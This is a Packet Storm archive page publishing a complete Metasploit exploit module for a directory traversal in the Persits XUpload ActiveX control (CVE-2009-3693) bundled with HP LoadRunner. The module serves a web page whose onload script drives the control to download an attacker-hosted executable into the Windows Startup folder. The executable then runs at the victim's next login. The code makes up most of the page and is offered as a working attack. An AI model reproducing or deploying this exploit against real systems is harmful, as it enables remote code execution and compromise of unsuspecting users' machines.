exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Persits XUpload ActiveX MakeHttpRequest Directory Traversal

Persits XUpload ActiveX MakeHttpRequest Directory Traversal
Posted Dec 31, 2009
Authored by jduck | Site metasploit.com

This Metasploit module exploits a directory traversal in Persits Software Inc's XUpload ActiveX control(version 3.0.0.3) that's included in HP LoadRunner 9.5. By passing a string containing "..\\\\" sequences to the MakeHttpRequest method, an attacker is able to write arbitrary files to arbitrary locations on disk. Code execution occurs by writing to the All Users Startup Programs directory. You may want to combine this module with the use of multi/handler since a user would have to log for the payload to execute.

tags | exploit, arbitrary, code execution, activex
advisories | CVE-2009-3693
SHA-256 | a22d6a5d6ae13466a6759a4b609ca02715e96a081fa217cf96cb8a72607502d3

Persits XUpload ActiveX MakeHttpRequest Directory Traversal

Change Mirror Download
##
# $Id: persits_xupload_traversal.rb 7760 2009-12-08 21:24:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Persits XUpload ActiveX MakeHttpRequest Directory Traversal',
'Description' => %q{
This module exploits a directory traversal in Persits Software Inc's
XUpload ActiveX control(version 3.0.0.3) that's included in HP LoadRunner 9.5.
By passing a string containing "..\\" sequences to the MakeHttpRequest method,
an attacker is able to write arbitrary files to arbitrary locations on disk.

Code execution occurs by writing to the All Users Startup Programs directory.
You may want to combine this module with the use of multi/handler since a
user would have to log for the payloda to execute.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'Version' => '$Revision: 7760 $',
'References' =>
[
[ 'CVE', '2009-3693'],
[ 'OSVDB', '60001'],
[ 'URL', 'http://retrogod.altervista.org/9sg_hp_loadrunner.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
'Compat' =>
{
'ConnectionType' => '-find',
}
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => 'Sep 29 2009',
'DefaultTarget' => 0))

register_options(
[
OptString.new('PATH', [ true, 'The path to place the executable.', '../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']),
], self.class)
end

def on_request_uri(cli, request)

uri,token = request.uri.split('?', 2)

print_status("request fired : #{uri}")

if !token
# randomize some stuff
objid = rand_text_alpha(rand(100) + 1)
func = rand_text_alpha(rand(100) + 1)

# send the html that makes the payload get downloaded
token = rand_text_numeric(32)
if ("/" == get_resource[-1,1])
exe_uri = get_resource[0, get_resource.length - 1]
else
exe_uri = get_resource
end
exe_uri << "?" + token

exe_host = ""
exe_host << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])

exe_hostport = datastore['SRVPORT']

exe_name = datastore['PATH'].dup
exe_name << rand_text_alphanumeric(rand(100) + 1)
exe_name << ".exe"

html = %Q|<html>
<head>
<script language='javascript'>
function #{func}()
{
#{objid}.Server = "#{exe_host}";
#{objid}.Script = "#{exe_uri}";
#{objid}.Port = #{exe_hostport};
#{objid}.MakeHttpRequest("","","#{exe_name}","","")
}
</script>
</head>
<body onload='javascript:#{func}()'>
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id=#{objid}></object>
</body>
</html>
|
print_status("Sending exploit html to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response(cli, html,
{
'Connection' => 'close',
'Pragma' => 'no-cache'
})
return
end

print_status("Sending payload exe to #{cli.peerhost}:#{cli.peerport}...")
return if ((p = regenerate_payload(cli)) == nil)
data = Msf::Util::EXE.to_win32pe(framework,p.encoded)

# send the exe
send_response(cli, data,
{
'Content-Type' => 'application/octet-stream',
'Connection' => 'close',
'Pragma' => 'no-cache'
})

# Handle the payload
handler(cli)
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close